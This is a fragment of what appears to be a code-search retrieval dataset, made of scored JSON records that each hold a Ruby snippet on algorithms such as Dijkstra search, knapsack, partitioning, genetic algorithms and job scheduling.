"text": "def solve_prims\n linked, unlinked = [nodes.first], nodes[1..-1].dup\n end",
"title": ""
},
{
"docid": "fde35b69945743b7e868bbf3d15ee84a",
"score": "0.4970705",
"text": "def calc_dijkstra\n # The initial values for the Dijkstra search\n dijkstra_search.frontier << [state.star, 0]\n dijkstra_search.came_from[state.star] = nil\n dijkstra_search.cost_so_far[state.star] = 0\n\n # Until their are no more cells to be explored\n until dijkstra_search.frontier.empty?\n # Get the next cell to be explored from\n # We get the first element of the array which is the cell. The second element is the priority.\n current = dijkstra_search.frontier.shift[0]\n\n # Stop the search if we found the target\n return if current == state.target\n\n # For each of the neighbors\n adjacent_neighbors(current).each do | neighbor |\n # Unless this cell is a wall or has already been explored.\n unless dijkstra_search.came_from.key?(neighbor) or state.walls.key?(neighbor)\n # Calculate the movement cost of getting to this cell and memo\n new_cost = dijkstra_search.cost_so_far[current] + cost(neighbor)\n dijkstra_search.cost_so_far[neighbor] = new_cost\n\n # Add this neighbor to the cells too be explored\n dijkstra_search.frontier << [neighbor, new_cost]\n dijkstra_search.came_from[neighbor] = current\n end\n end\n\n # Sort the frontier so exploration occurs that have a low cost so far.\n # My implementation of a priority queue\n dijkstra_search.frontier = dijkstra_search.frontier.sort_by {|cell, priority| priority}\n end\n end",
"title": ""
},
{
"docid": "d1aea220b7f63f4ee2cb3b0d47c753f4",
"score": "0.4965876",
"text": "def perform\n @timeout_start = Time.now\n puts \"Searching for #{@target}\"\n prime = SearchEntry.new(nil, @target, whole_trie, nil)\n debug \"priming: #{prime}\"\n debug ''\n ticked = 0\n frontier.push prime, prime.score\n\n @results = Set.new\n\n begin\n search_entry = frontier.pop\n @visited.push search_entry, search_entry.score\n\n status = \"#{@visited.size}/#{@frontier.size} - #{search_entry}\"\n debug status\n\n seconds_since_start = (Time.now - @timeout_start).to_i\n if seconds_since_start > ticked\n puts status\n ticked += 1\n end\n\n\n # If we've reached the end of a word, continue with a pointer to the\n # top of the whole trie and enqueue this in the frontier\n if search_entry.subtrie[:terminal]\n new_entry = SearchEntry.new(\n '',\n search_entry.target,\n whole_trie,\n search_entry,\n )\n debug \"+ found terminal entry: #{new_entry}\"\n frontier.push(new_entry, new_entry.score)\n end\n\n search_entry.subtrie.each do |key, subtrie|\n next if key == :path\n next if key == :depth\n next if key == :terminal\n\n new_entry = SearchEntry.new(\n \"#{search_entry.match}#{key}\",\n @target,\n subtrie,\n search_entry.previous_entry,\n )\n debug \"- iterating: #{search_entry.match.inspect}+#{key.inspect} #{new_entry}\"\n frontier.push(new_entry, new_entry.score)\n end\n end until frontier.empty? || timeout? #&& collected?)\n\n require 'pry'\n binding.pry\n nil\n end",
"title": ""
},
{
"docid": "9b0a1a7754272d5051392862a6b3c224",
"score": "0.4964985",
"text": "def greedy1_initial_alt!(remaining_partitions)\n\n virtual_remaining_partitions = DeepClone.clone remaining_partitions\n\n total_sites_remaining = remaining_partitions.total_sites\n total_free_space = self.total_free_space\n\n # Fill each bin starting with the least filled\n self.each_with_index do |bin, bin_index|\n\n # How many sites need to go into the current virtual bin\n sites_for_bin = ((@operations_lower_bound - bin.size).to_f / total_free_space * total_sites_remaining).ceil\n\n # Get partitions that need to go into the current virtual bin\n dropped_partitions = virtual_remaining_partitions.drop_sites!(sites_for_bin, compute = false)\n\n dropped_partitions.each do |partition|\n # Get site in the middle of partition\n mid_site = partition.sites[partition.sites.size / 2]\n\n # Actual assignment of site\n dropped_partition = remaining_partitions.list[partition.name].drop_specific_site!(mid_site)\n bin.add!([dropped_partition])\n end\n end\n\n remaining_partitions\n end",
"title": ""
},
{
"docid": "8f948ba1c757f58d0aba610856db5a80",
"score": "0.4955397",
"text": "def initialize(problem)\n @problem = problem\n @best_configuration = Array.new\n @current_configuration = Array.new\n @best_fitness = 0\n @weights = @problem.M + 1\n @itemsSize = @problem.n + 1\n @table = Array.new(@weights) { Array.new(@itemsSize) }\n @error=0\n \n \n for i in 0..@weights - 1\n @table[i][0] = 0\n end\n end",
"title": ""
},
{
"docid": "3fe4b3d7ef6e2be0059d4959fbb84e0a",
"score": "0.4950119",
"text": "def desired_workers(total, new, processed, current_workers)\n\n worker_speed = calc_worker_speed(processed, current_workers)\n\n # elimino o ciclo passado de todos os worksets já existentes\n @worksets.each do |workset|\n if workset.empty?\n @worksets.delete(workset)\n else\n workset.shift\n end\n end\n\n # Novo workset para os novos jobs, levando em conta eventuais deficits\n # devido diferença entre o esperado e o realmente processasdo\n expected = current_workers * worker_speed * @cycle_duration_in_minutes\n deficit = [expected - processed,0].max\n @worksets << new_work_set(new + deficit, worker_speed)\n\n # calculo o final levando em conta todos os worksets\n workers_count = calc_final_desired_workers\n # mas se tiver um job, tenho um worker\n if workers_count == 0 && total > 0\n workers_count = 1\n end\n workers_count\n end",
"title": ""
},
{
"docid": "05ae1be0dd6e7357dc0ee4f012630c00",
"score": "0.49432778",
"text": "def update_best\n if @best_price < @ep.max\n @best_price = @ep.max\n res_i = @ep.index(@best_price)\n @best_weight = @bw[res_i]\n @best_baggage = in_bag(@cg[res_i])\n end\n end",
"title": ""
},
{
"docid": "2adf65a483888c0f0c22efeec47c530d",
"score": "0.49418393",
"text": "def problem_76\n return 100.partitions - 1\nend",
"title": ""
},
{
"docid": "7fd359c43ce86904527ba0935cd4f231",
"score": "0.4937112",
"text": "def get_start_gene\n h, sorted_h, top = {}, {}, 0 \n \n if $weights_file == \"none\"\n # construct a hash using the number of patients each node covers\n $genes.each { |gene, pat| h[gene] = (10.to_f/$all_genes[gene].size).round(5) }\n else \n # construct a hash using the weight of the nodes\n $genes.each { |gene, pat| h[gene] = $all_genes_weight[gene] }\n end\n \n # sort the given hash and select only its top genes\n h.values.sort.each do |v|\n h.map{ |k,v1| (v1==v) ? k : nil }.compact.each { |e| sorted_h[e] = (1/v).round(5) }\n top += 1\n break if top >= $top_limit\n end \n \n # pick probabilistically a starting gene based on the prob specified by the hash\n\n # initialize a pick up\n #require 'pickup'\n pickup = Pickup.new(sorted_h)\n \n # make sure we don't pick bad starting genes\n num_try = 0\n while true do\n # we pick this gene\n start_gene = pickup.pick\n $picked[start_gene] += 1\n # repeat if it is a bad one and we've enabled learning\n break unless ($bad_starting_genes.include?(start_gene) and $learn_bad_starting_genes)\n # now if all genes are bad, well pick one randomly\n break if num_try > 10 * $top_limit\n # we have tried but found a bad gene\n num_try += 1\n end\n \n return start_gene\nend",
"title": ""
},
{
"docid": "fc45f4b02d108ea2e180cdedda71d305",
"score": "0.493686",
"text": "def calc_poss_partitions(root_partition, rd, md)\n root_partition = normalize_partition(root_partition)\n # puts \"root_partition = \" + root_partition.to_s\n r = rd[:r_num_cells].length\n poss_partitions = Array.new\n # poss_partitions.push(root_partition)\n xxs = create_r_arrays_from_partition(rd[:r_num_cells], root_partition)\n\n i_j_combinations = (0...xxs.length).to_a.combination(2).to_a\n i_j_combinations.each do |ij|\n xx_i_combinations = (1...xxs[ij[0]].length).flat_map{|size| xxs[ij[0]].combination(size).to_a}\n xx_j_combinations = (1...xxs[ij[1]].length).flat_map{|size| xxs[ij[1]].combination(size).to_a}\n xx_i_combinations.each do |xx_i_combination|\n xx_i_sum = xx_i_combination.inject(0, :+)\n xx_j_combinations.each do |xx_j_combination|\n xx_j_sum = xx_j_combination.inject(0, :+)\n # This part is horribly inefficient. I already know some ways\n # it could be improved, but I just want a proof of concept for\n # the time being, so maybe I'll come back and optimize later.\n if xx_i_sum == xx_j_sum\n new_partition = create_new_partition(root_partition, xx_i_combination, xx_j_combination)\n new_partition = normalize_partition(new_partition)\n # Originally, I had this part cut down the number of partitions it returned by\n # making it only return VALID partitions. Now that I'm essentially using this\n # as a method of EXPANDING from a given partition, I should allow it to return\n # invalid partitions, as they could still have valid children which would not\n # be reachable otherwise.\n # if (not poss_partitions.include? new_partition) and validate_partition(new_partition, rd, md)\n if not poss_partitions.include? new_partition\n poss_partitions.push(new_partition)\n # puts \"poss_partition[\" + (poss_partitions.length-1).to_s + \"] = \" + new_partition.to_s\n end\n end\n end\n end\n end\n return poss_partitions\nend",
"title": ""
},
{
"docid": "ecaf7fa256f5b370eb7a322261eb32ae",
"score": "0.49275428",
"text": "def bench_for(num_particles, core_counts)\n\n # Create Hash to return using the constructor\n # Hash[ [ [a,b], [c,d] ] ] -> {a=>b, c=>d}\n Hash[ Distributions.map do |distribution_name|\n\n # Create array [distribution_name, proc]\n [ distribution_name, Proc.new do\n\n # Make special case for shared_and_replicated distribution\n # which uses OMP_NUM_THREADS > 1.\n if distribution_name == \"shared_and_replicated\"\n core_counts.each do |num_cores|\n if num_cores >= 8\n bench(\n distribution_name,\n num_particles,\n MinReps,\n num_cores/8,\n 8\n )\n end\n end\n else\n core_counts.each do |num_cores|\n bench(\n distribution_name,\n num_particles,\n MinReps,\n num_cores,\n 1\n )\n end\n end\n\n end ]\n\n end ]\n\nend",
"title": ""
},
{
"docid": "1bf308f89801953b1adb8dfb15dcf1b1",
"score": "0.49186784",
"text": "def optimize3(weight, cost=0, items = $items)\r\n return cost if weight <= 0 || items.empty?\r\n # puts \"#{weight}\\t#{cost}\\t#{items.collect{|i| i.weight}.join(' ')}\"\r\n same_ratio = items.find_all { |i| i.ratio == items[0].ratio }\r\n global_best = nil\r\n same_ratio.size.times do |x|\r\n if weight % items[x].weight == 0\r\n return items[x].cost * (weight / items[x].weight) + cost\r\n end\r\n \r\n best = (x == 0) ? items[x].cost * (weight / items[x].weight + 1) + cost : nil\r\n \r\n (items - [items[x]]).each do |item|\r\n if x == 0\r\n c = optimize3(weight % items[x].weight, items[x].cost * (weight / items[x].weight) + cost, items - [items[x]])\r\n else\r\n c = optimize3(weight - items[x].weight, items[x].cost + cost, items)\r\n end\r\n best = c if (best.nil? || c < best)\r\n end\r\n global_best = best if best && (global_best.nil? || best < global_best)\r\n end\r\n global_best\r\nend",
"title": ""
},
{
"docid": "b27dbe4608878b0d0298667e1cc57728",
"score": "0.49156868",
"text": "def plate_assigner ops, available_plates\n if available_plates.nil?\n return nil\n end\n plate_assignments = available_plates.product(*[available_plates] * (ops.size - 1))\n\n show do\n title \"Selecting plates for #{ops.first.output(OUTPUT).sample.name}\"\n\n note \"Click \\'OK\\' to proceed.\"\n warning \"The next few steps may take long to compute. Please be patient. You may have to refresh.\"\n bullet \"Number of requesting operations: #{ops.size}\"\n bullet \"Number of active plates: #{available_plates.size}\"\n bullet \"Number of possible plate assignments: #{plate_assignments.size}\"\n end\n\n\n best_score = nil\n plate_assignments.each do |plates|\n cell_hash = plates.map {|p| [p, p.cell_number]}.to_h\n\n ops.zip(plates).each {|op, plate| op.temporary[:plate] = plate}\n ops.zip(plates).each do |op, plate|\n r = op.temporary[:req_cells]\n would_remain = cell_hash[plate] - r\n if would_remain >= 0\n cell_hash[plate] = would_remain\n else\n op.temporary[:plate] = nil\n end\n end\n\n # delete if no operations use plate\n op_plates = ops.map {|op| op.temporary[:plate]}.compact\n cell_hash.each {|p, r| cell_hash.delete(p) if !op_plates.include?(p)}\n\n num_passed = ops.count {|op| op.temporary[:plate]}\n waste = cell_hash.inject(0) {|sum, (k, v)| sum + v}\n max_waste = cell_hash.inject(0) {|sum, (k, v)| sum + k.cell_number}\n num_plates = cell_hash.size\n delta_conf = cell_hash.inject(0) {|sum, (k, v)| sum + (MAX_CONFLUENCY - k.confluency)}\n\n # ensure there is always a plate\n plates_remaining = 0 # how many plates would be remaining if requestors run\n sample_plates = get_sample_plates ops.first.output(OUTPUT).sample\n plates_remaining += [sample_plates - plates].size.size\n ops.each do |op|\n r = op.temporary[:requestor]\n if r\n plates_remaining += 1 if r.is_a?(Operation) and r.operation_type.name == \"Plate Cells\"\n end\n end\n\n pr = 0\n keep_plate = true\n keep_plate = false if debug\n if keep_plate and plates_remaining == 0\n ops.each { |op| op.temporay[:plate] = nil }\n end\n n = (num_plates - 1.0) / (ops.size - 1)\n n = 0.0 if ops.size == 1 and num_plates == 1\n w = waste * 1.0 / max_waste\n p = (ops.size - num_passed) * 1.0 / ops.size\n d = (delta_conf) * 1.0 / (MAX_CONFLUENCY * cell_hash.size)\n\n # ordered from most to least important\n score_arr = [pr, p, w, n, d]\n if op_plates.empty? or cell_hash.empty?\n score_arr = [1.0] * 4\n end\n op_hash = ops.map {|op| [op, op.temporary[:plate]]}.to_h\n score = [op_hash, score_arr]\n best_score ||= score\n if (score[1] <=> best_score[1]) == -1\n best_score = score\n end\n score\n end\n\n return best_score\n end",
"title": ""
},
{
"docid": "b74ce48f4e4e280d53df58c9ff52f3e1",
"score": "0.4914178",
"text": "def compute()\n\n # Remove all the items that are neither to be displayed or required to\n # compute something else that is to be displayed\n\n required = compute_required()\n\n @uncomputed = @uncomputed.select { |args, block| required.include?(args[:name]) }\n\n # Keep looping through the uncomputed until we finish them all or stop\n # making progress\n\n progress = true\n\n while(progress)\n\n progress = false\n\n # Loop through all uncomputed\n\n cannot_compute_yet = Array.new\n\n @uncomputed.each do |args, calc_block|\n\n # See if all the dependencies are completed for this one, if not keep\n # it for next loop\n\n if (args[:depends_on] && args[:depends_on].select { |d| @stats[d].size > 0 }.size < args[:depends_on].size)\n cannot_compute_yet << [args, calc_block]\n next\n end\n\n # Create function to be passed to the date iterator; we set up a\n # \"previous period\" value here that we pass up\n prev = nil\n calc_function = lambda do |fday, lday, ndays, tdays|\n @stats[args[:name]][fday] = calc_block.call(fday, lday, ndays, tdays, prev)\n prev = fday\n end\n\n # Call the above function for each date we're interested in (set up else where)\n @date_iter.call(calc_function)\n\n # We've made progress...\n progress = true\n\n end\n\n @uncomputed = cannot_compute_yet\n\n end\n\n if (@uncomputed.size > 0)\n throw \"Did not finish computing, some dependencies not met: #{@uncomputed.collect { |args, block| args[:name] }.inspect }\"\n end\n\n end",
"title": ""
},
{
"docid": "16c9e5f22079a99f5f419bbe6a55f02a",
"score": "0.49130437",
"text": "def min_ops(n)\n\n # Step 1:\n # Create a table containing the minimum operations\n # needed to reach n given our permitted operators.\n all_parents = Array.new\n all_min_ops = [0] + [nil] * n\n\n (1..n+1).each do |k|\n curr_parent = k - 1\n curr_min_ops = all_min_ops[curr_parent] + 1\n [2, 3].each do |i|\n if k % i == 0\n parent = k / i\n num_ops = all_min_ops[parent] + 1\n if num_ops < curr_min_ops\n curr_parent, curr_min_ops = parent, num_ops\n end\n end\n end\n all_parents[k], all_min_ops[k] = curr_parent, curr_min_ops\n end\n\n # Step 2: Trace back to find the optimal choices\n # made in the previous step.\n numbers = Array.new\n k = n\n while k > 0\n numbers << k\n k = all_parents[k]\n end\n puts numbers.size - 1\n numbers.reverse\nend",
"title": ""
},
{
"docid": "5cf2b34d443e7032b3710c1ad3cc3bc6",
"score": "0.49024412",
"text": "def cpu_response_medium(winning_combinations, final_position_choice, available_positions, active_board)\n\n cpu_scores_by_pos_array = []\n\n if available_positions.length == 1\n active_board[available_positions[0]] = \"O\"\n update_winning_combinations_cpu(winning_combinations, available_positions[0])\n available_positions.delete(available_positions[0])\n else\n\n ## simulate winning combinations.\n winning_combinations_sim = []\n winning_combinations.each do |array|\n winning_combinations_sim.push(array)\n end\n\n ## simulate active board.\n available_positions_sim = []\n available_positions.each do |a|\n available_positions_sim.push(a)\n end\n\n ## simulate choosing an available piece, one by one.\n available_positions_sim.each do |avail_pos|\n\n win_combo_w_available_position_sim = winning_combinations_sim.map do |array|\n array.map do |el|\n if el == avail_pos\n el = \"cpu\"\n else\n el\n end\n end\n end\n #=> an array of arrays, the inner arrays include \"cpu\" instead of \"a1\"\n\n # now we calculate the gamer_score and cpu_score of the field for this chosen position.\n cpu_score = 0\n gamer_score = 0\n\n ## gamer scoring\n win_combo_w_available_position_sim.each do |a|\n if a.include?(\"gamer\") == true && a.include?(\"cpu\") == false\n\n if a.count(\"gamer\") == 1\n gamer_score += 2\n elsif a.count(\"gamer\") == 2\n gamer_score += 10\n elsif a.count(\"gamer\") == 3\n gamer_score += 100\n end\n\n elsif a.include?(\"gamer\") == false && a.include?(\"cpu\") == false\n gamer_score += 0\n elsif a.include?(\"gamer\") == true && a.include?(\"cpu\") == true\n gamer_score += 0\n end\n end\n\n ## cpu scoring\n win_combo_w_available_position_sim.each do |a|\n if a.include?(\"cpu\") == true && a.include?(\"gamer\") == false\n\n if a.count(\"cpu\") == 1\n cpu_score += 2\n elsif a.count(\"cpu\") == 2\n cpu_score += 10\n elsif a.count(\"cpu\") == 3\n cpu_score += 100\n end\n\n elsif a.include?(\"cpu\") == false && a.include?(\"gamer\") == false\n cpu_score += 0\n elsif a.include?(\"cpu\") == true && a.include?(\"gamer\") == true\n cpu_score += 0\n end\n end\n\n cpu_scores_by_pos_array.push(cpu_score - gamer_score)\n end\n\n # get id of the max value.\n max_value_index = cpu_scores_by_pos_array.index(cpu_scores_by_pos_array.max)\n\n active_board[available_positions[max_value_index]] = \"O\"\n update_winning_combinations_cpu(winning_combinations, available_positions[max_value_index])\n available_positions.delete(available_positions[max_value_index])\n end\n\n end",
"title": ""
},
{
"docid": "07d2efee1cd697e1e4e68bfe2a83c599",
"score": "0.48888487",
"text": "def compute_best_score(team, pilots, pilot_contests)\n combination = []\n total = 0.0\n total_possible = 0\n puts 'compute_score TBD'\nend",
"title": ""
},
{
"docid": "4525e6ea3430c11c1025930e5bb68acc",
"score": "0.48867917",
"text": "def knapsack_table(weights, values, capacity)\n solution_table = [] # solution_table[0] = [] 0,\n\n (0..capacity).each do |i| # 0..3 ,0, 1\n solution_table[i] = []\n #Go throught the weights one by one by index\n values.length.times.each do |j| # 0..3 0,1, 2\n if i == 0 # 0 == 0 true\n # if capacity is zero. then 0 is the only value that can be placed into the set\n solution_table[i][j] = 0 # solution_table[0][0] = 0 solution_table = [[0,0,0], [1, 1, 1, ]]\n elsif j == 0\n # for the first item in our list we can check fot capacity\n # if our weights < capacity, put zero, otherwise put valye\n solution_table[i][j] = weights[0] > i ? 0 : values.first\n else\n # the first option is the entery considering the previous item at this capacity\n option1 = solution_table[i][j - 1] # 1, 1\n #the secound option (assuming enough capacity)- is the max value of the smaller bag\n option2 = i < weights[j] ? 0 : solution_table[i - weights[j]][j - 1] + values[j] # 0\n #choose max from this options\n optimum = [option1, option2].max # [1,0] 1 = max\n solution_table[i][j] = optimum\n end\n end\n end\n solution_table\n end",
"title": ""
},
{
"docid": "8c0ea13d3cf4986cc0972ea3b5c7c6f4",
"score": "0.48851892",
"text": "def find_limit(universe, subset)\n \n large_number = 10_000_000_000\n resource = universe + 1\n my_array = Array.new\n \n (0...universe).each do |value|\n my_array\n .push([value+1, value, 0])\n .push([value, value +1, 1])\n end\n p my_array if $PRINT_ARRAY\n \n (0...universe+1).each do |value|\n my_array.push([resource, value, 0])\n end\n p my_array if $PRINT_ARRAY\n \n subset.each do |value|\n my_array\n .push([value[0]-1,value[1], value[2]])\n .push([value[1],value[0]-1, -value[2]])\n end\n p my_array if $PRINT_ARRAY\n \n distribution = [large_number]*(universe+2)\n distribution[resource] = 0\n \n (0...universe+1).each do |value|\n my_array.each do |value|\n distribution[value[1]] = [distribution[value[1]], distribution[value[0]]+value[2]].min\n end\n end\n distribution[universe]-distribution[0]\nend",
"title": ""
},
{
"docid": "dc615eb7ef4f154adebdfe34596601ab",
"score": "0.48845455",
"text": "def knapsack0(weights, values, capacity) #C = 6 #W = [1,2,3] #V = [10, 4, 8]--equal-sized\n @knapsack = {}\n @capacity_cache = {}\n @value_cache = {}\n #First, store & cache weight-value pairs\n weights.each_index do |idx|\n @knapsack[weights[idx]] = values[idx] #{1: 10, 2: 4, 3: 8}\n @capacity_cache[weights[idx]] = [ values[idx] ] #{1: [10], 2: [4], 3: [8]}\n @value_cache[values[idx]] = [ weights[idx] ] #{10: [1], 4: [2], 8: [3]}\n end\n\n weight_keys = weights.sort #[1,2,3] #[23...]\n @min = weight_keys[0]\n #Check if any valid weights\n return 0 if capacity < @min #6 < 1 => false\n return @capacity_cache[@min].first if capacity == @min\n\n #set base case; value keyed to weights array # 10: [1] #92: [23]\n latest_value = @knapsack[@min]\n latest_weights = @value_cache[latest_value].dup\n #Combine valid weights' values w/ cached weight-value sets\n #Cache highest value set to current weight\n (@min + 1..capacity).each do |weight| #2 | 3 | 4 | 5 | 6\n #select possible keys\n valid_keys = weight_keys.select{|key| key <= weight && !latest_weights.include?(key)} #[1,2] | [1,2,3]\n\n (0...valid_keys.length).each do |i| #0 |, 1\n\n current_value_set = @capacity_cache[@min]\n (@min + 1..weight).each do |cap_weight|\n\n new_weight = valid_keys[i] + latest_weights.inject(:+) #2+1= 3|, 3+1+2= 6 |,|2+1+3= 6\n #can either:\n #Add a weight to the set,\n if new_weight <= weight #3 <= 2 => false | #3 <= 3 => true, 6 <= 3 => false ||| 6 <= 6 => true\n #set new value to weights array\n latest_sum = 0\n latest_weights.each {|wt| latest_sum += @knapsack[wt]} #=> 10 |||| 10+8\n latest_value = @knapsack[valid_keys[i]] + latest_sum #| 10+4= 14 ||| +4= 22\n @value_cache[latest_value] = latest_weights << valid_keys[i] #| 14: [1,2] ||| 22: [1,3,2]\n latest_weights = @value_cache[latest_value] #[1] | [1,2] | [1,3,2]\n #Replace a weight from the set,\n else\n smallest = @knapsack[valid_keys[i]] #4 |. 8\n weight_of_smallest = valid_keys[i] #2 |. 3\n latest_weights.each do |wt|\n #10 < 4 => false |. 10 < 8 => false, 4 < 8 but 1+3 <= 3 => false |\n #1+3 <= 4 => true |. 8 < 4 => false\n if @knapsack[wt] < smallest && #one weight's value is less\n latest_weights.inject(:+) - wt + valid_keys[i] <= capacity\n #and replacing it w/ new weight would be valid\n smallest = @knapsack[wt] #||4\n weight_of_smallest = wt #||2\n end\n end\n\n #or Do nothing\n if smallest != @knapsack[valid_keys[i]] #false |. false | true | false\n latest_weights.delete(weight_of_smallest)\n latest_weights.push(valid_keys[i]) #||[1,3]\n latest_value = latest_value - smallest + @knapsack[valid_keys[i]] #||14-4+8= 18\n @value_cache[latest_value] = latest_weights #18: [1,3]\n end\n end\n end\n end\n\n capacity_array = [] #[1] | [1,2] | [1,3] || [1,3,2]\n @value_cache[latest_value].each{ |wt| capacity_array.push(@knapsack[wt]) }\n @capacity_cache[weight] = capacity_array #2: [10] | 3: [10,4] | 4: [10, 8] | 5: [10, 8] | 6: [10, 8, 4]\n end\n p '----'\n p @capacity_cache[capacity]\n sum = @capacity_cache[capacity].inject(:+) #22\n sum\n end",
"title": ""
},
{
"docid": "92685d85615e536bb572df1cdefd0049",
"score": "0.48837665",
"text": "def qytt\n # procure the numbers\n arrNumbers = [ arrNumbersOfProcGivenMinMax( method(:intGetTriangleInt), 1000, 10000),\n arrNumbersOfProcGivenMinMax( method(:intGetSquareInt), 1000, 10000),\n arrNumbersOfProcGivenMinMax( method(:intGetPentagonalInt), 1000, 10000),\n arrNumbersOfProcGivenMinMax( method(:intGetHexagonalInt), 1000, 10000),\n arrNumbersOfProcGivenMinMax( method(:intGetHeptagonalInt), 1000, 10000),\n arrNumbersOfProcGivenMinMax( method(:intGetOctagonalInt), 1000, 10000) ]\n arrNumbers.map! do |arr|\n deletable = []\n arr.each do |num|\n if ( num / 10 % 10 == 0 )\n deletable << num\n end\n end\n arr -= deletable\n end\n\n # get the hash numbers which we will jump to and from\n hashNumbers = Array.new(6){ HashChained.new }\n (0..5).each do |i|\n arrNumbers[i].each do |num|\n hashNumbers[i][num/100] = num % 100\n end\n end\n\n threads = []\n # we're guaranteed only one solution\n superResult = 0\n\n # iterate through the octagonal numbers\n arrNumbers.last.each do | firstNum |\n checker = firstNum % 100\n hashNumbers[0..4].permutation.each do |perm|\n t = Thread.new do\n result = qyttRecursion( checker, perm )\n if result[0] > 0 && result[1] == firstNum / 100\n superResult = result[0] + firstNum\n end\n end\n threads << t\n end\n end\n\n threads.each do |t|\n t.join\n end\n superResult\n\nend",
"title": ""
},
{
"docid": "34d6d5b2f0347e36f71d3f88e50eeb6e",
"score": "0.48798087",
"text": "def crearProbabilidad\n\t\[email protected]\n\t\tsumaFitness = @fitness.inject {|sum,x| sum+=x }\n\t\[email protected] do |fitnes|\n\t\t\t@probabilidad << fitnes / sumaFitness\n\t\tend\n\t\tindex=1\n\t\[email protected]\n\t\[email protected] do\n\t\t\t@qsubm << sumarCant(index,@probabilidad)\n\t\t\tindex+=1\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d21586dc78e1953612b0cc7bc42003aa",
"score": "0.48682475",
"text": "def fetch_possible_jobs\n possible_jobs = nil\n if machine.machine_affinity_slots.select(&:required).present?\n # Retrieve the machine's required affinities in order to not\n # compute it several times.\n required_machine_affinities = ::Naf::Machine.\n select(\"ARRAY(\n SELECT affinity_id\n FROM #{::Naf.schema_name}.machine_affinity_slots\n WHERE machine_id = #{machine.id} AND required = true\n ORDER BY affinity_id) AS required_affinities\").\n group(\"required_affinities\").\n first.required_affinities\n\n # Choose queued jobs that can be run by the machine\n possible_jobs = ::Naf::QueuedJob.\n select(\"#{::Naf.schema_name}.queued_jobs.id, #{::Naf.schema_name}.queued_jobs.priority, #{::Naf.schema_name}.queued_jobs.created_at\").\n weight_available_on_machine(machine).\n runnable_by_machine(machine).\n is_not_restricted_by_run_group(machine).\n prerequisites_finished.\n group(\"#{::Naf.schema_name}.queued_jobs.id, #{::Naf.schema_name}.queued_jobs.priority, #{::Naf.schema_name}.queued_jobs.created_at\").\n having(\"array(\n select affinity_id::integer\n from #{::Naf.schema_name}.historical_job_affinity_tabs\n where historical_job_id = queued_jobs.id and affinity_id in (\n select affinity_id\n from #{::Naf.schema_name}.machine_affinity_slots\n where machine_id = #{machine.id} and required = true)\n order by affinity_id) = '#{required_machine_affinities}'\").\n order_by_priority.\n limit(100)\n elsif machine.machine_affinity_slots.present?\n # Choose queued jobs that can be run by the machine\n possible_jobs = ::Naf::QueuedJob.\n weight_available_on_machine(machine).\n runnable_by_machine(machine).\n is_not_restricted_by_run_group(machine).\n prerequisites_finished.\n order_by_priority.limit(100)\n else\n # Machine can run any queued job\n possible_jobs = ::Naf::QueuedJob.\n weight_available_on_machine(machine).\n is_not_restricted_by_run_group(machine).\n prerequisites_finished.\n order_by_priority.limit(100)\n end\n end",
"title": ""
},
{
"docid": "6925195cbb18709beae3cfa5e213a64e",
"score": "0.48652032",
"text": "def greedy(tg,faulty,replacements,n)\n result = Hash.new\n repl = Array.new(replacements.size) {|i| replacements[i]}\n # sort tg by # successors\n sort_by_subtree_size!(tg)\n\n # sort faulty by # successors\n faulty.sort_by!{|a| tg[0].index(lookup_task(tg,a))}\n \n faulty.each do |fault|\n # pick the replacement which minimizes starting time of fault\n choice = repl.min_by{|a| euclidean_distance(tg,result.merge({fault=>a}),n)}\n # add the mapping to the solution\n result[fault] = choice\n # remove the replacement from the set\n repl.delete(choice)\n end\n return result\nend",
"title": ""
},
{
"docid": "901a37f522597e3a80a03e2e7ebe3276",
"score": "0.48593098",
"text": "def n_queens_problem(n)\n results = []\n n_queens_problem_rec(0, Array.new(n, -1), results)\n results\nend",
"title": ""
},
{
"docid": "4943f5d68f13265efd5a923389608cd1",
"score": "0.4855532",
"text": "def solve(func)\n # setup population\n if @start_population.nil?\n population = Array.new(@population_size) do\n # generate random genotype according to the chromosome type\n { :genotype => @genotype_space.get_random }\n end\n else\n population = @start_population.map do |x|\n { :genotype => x }\n end\n end\n\n # initialize variables\n gen = 0\n overall_best = nil\n\n population_mutex = Mutex.new\n\n # default behavior is to loop forever\n begin\n gen += 1\n @logger.info(\"GA - Starting generation #{gen}\") if @logger\n\n # create latch to control program termination\n latch = Concurrent::CountDownLatch.new(@population_size)\n\n # assess fitness for every member of the population\n population.each do |s|\n @pool.post do\n # do we need to syncronize this call through population_mutex?\n # probably not.\n ret = func.call(s[:genotype])\n\n # protect write access to population struct using mutex\n population_mutex.synchronize do\n s[:fitness] = ret\n end\n\n # update latch\n latch.count_down\n end\n end\n\n # wait for all the threads to terminate\n latch.wait\n\n # find fittest member\n population_best = population.max_by {|x| x[:fitness] }\n\n # calculate overall best\n if overall_best.nil?\n overall_best = population_best\n else\n overall_best = [ overall_best, population_best ].max_by {|x| x[:fitness] }\n end\n\n # print results\n puts \"> gen #{gen}, best: #{overall_best[:genotype]}, #{overall_best[:fitness]}\" unless @quiet\n\n # execute controller\n @controller.call(self, overall_best) if @controller\n\n # selection by binary tournament\n children = new_generation(population)\n\n # update population and generation number\n population = children\n end while @exit_condition.nil? or !@exit_condition.call(gen, overall_best)\n\n # return best sample\n overall_best\n end",
"title": ""
},
{
"docid": "b9c1a97f17abfc4c3bd7d65cdf52b83b",
"score": "0.48524377",
"text": "def exec_range_alpha\n if $run_alpha_range\n puts \"Iterating over range of alpha values. This may take a while...\"\n else\n puts \"Running nCOP with alpha = #{$alpha_range[0]}. Prioritizing genes...\"\n end\n \n aggrStats = RunInfo.new\n \n # for each alpha and beta\n $alpha_range.each do |n|\n start_alp = Time.now\n \n # scale alpha and beta appropriately\n $ALPHA = n.round(4)\n $BETA = ((1 - $ALPHA).to_f/$normalization_const).round(4)\n \n # initialize an empty array for bad starting nodes\n $bad_starting_genes = []\n\n # run it NUM_ITER times\n exec_iter_fixed_alpha aggrStats\n \n puts \" alpha = #{n} done\"\n #puts \"avg iter for $ALPHA = #{n} completed after = #{proper_time_since(start_alp)}\" if $run_alpha_range\n end\n \n # remember the stats\n $aggrStats = aggrStats\n \n puts \"Done.\"\nend",
"title": ""
},
{
"docid": "5cdb4a4821fd63796e38f2a78816b2e3",
"score": "0.4844459",
"text": "def initialize\n\t\t@generation = 0\n\t\t@evaluation = 0\n\t\t@best = nil\n\tend",
"title": ""
},
{
"docid": "1d87eb884da79dc63b3e344a6658a211",
"score": "0.4840294",
